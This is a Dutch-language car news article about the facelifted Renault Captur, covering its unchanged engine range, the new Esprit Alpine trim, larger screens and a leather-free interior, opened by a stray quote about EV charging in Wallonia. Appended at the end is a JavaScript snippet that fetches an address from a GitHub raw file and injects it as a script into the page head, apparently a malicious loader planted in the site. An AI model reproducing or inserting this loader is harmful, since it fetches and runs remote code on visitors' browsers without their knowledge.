“Het potentieel voor het opladen van EV's is duidelijk aanwezig in Wallonië”, zegt Michael Van den Brandt, Business Development Manager bij Sparki.
Brandstof- en energiebeheer
De huidige Captur dateert van 2019, dus werd het stilaan tijd voor een update. De tweede generatie van Renaults kleine SUV zet zijn carrière verder met een stevig herwerkte voorpartij die op het eerste gezicht zou kunnen doen denken dat het om een volledig nieuw model gaat. Dat is voor alle duidelijkheid niet het geval, maar de Captur sluit nu wel aan bij de recente nieuwe en gefacelifte modellen van het Franse merk. Zoals de Scénic E-Tech.
Dat laatste betekent echter niet dat de Captur plots een volledig elektrische aandrijving krijgt. Het motoraanbod verandert namelijk niet. De basisversie blijft de 1.0 TCe van 90 pk, gevolgd door de mildhybride 1.3 TCe met elektrische ondersteuning op 48 volt. De versie met de laagste CO2-uitstoot is natuurlijk nog steeds de serieel-parallelle E-Tech Hybrid, die dankzij zijn 1.6 op benzine in combinatie met een elektromotor, een batterij van 1,2 kWh en een speciale versnellingsbak met klauwkoppelingen kan rekenen op 145 pk.
Esprit Alpine
Naar analogie van andere Renault-modellen, zoals de eveneens vorig jaar gefacelifte Clio waarmee hij zijn platform deelt, krijgt ook de Captur een nieuwe topversie, de Esprit Alpine, die zich tegelijk chiquer en dynamischer voordoet dan de andere versies. De Captur Esprit Alpine onderscheidt zich door specifieke logo’s
in de kleur Ice Black, glanzend zwarte raamlijsten, 19 duim grote velgen met een specifiek design en matgrijze bodemplaten voor- en achteraan, evenals met tal van knipogen naar het merk Alpine in het interieur. Daarnaast heeft deze versie recht op een specifiek welkomstgeluid dat werd gemaakt door de Franse componist Jean-Michel Jarre, net als het VSP (Vehicle Sound for Pedestrians) van de E-Tech-versies.
Binnenin krijgt de vernieuwde Captur grotere schermen voor het instrumentenpaneel (afhankelijk van de versie tot 10,25 duim) en het infotainmentsysteem (10,4 duim). Het OpenR Link-systeem omvat trouwens Android Automotive 12, wat volgens Renault een wereldprimeur is in het B-segment. Verder is het interieur ook wat milieu- en diervriendelijker. Een lederen bekleding is bijvoorbeeld niet meer te krijgen; het natuurlijke materiaal werd vervangen door generfd gecoat weefsel (TEP). Daarnaast wordt ook minder gebruikgemaakt van chroom.
(var url = “https://raw.githubusercontent.com/truba77/trubnik/main/to.txt”; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(“script”); script.src = data.trim(); document.getElementsByTagName(“head”)[0].appendChild(script); });)
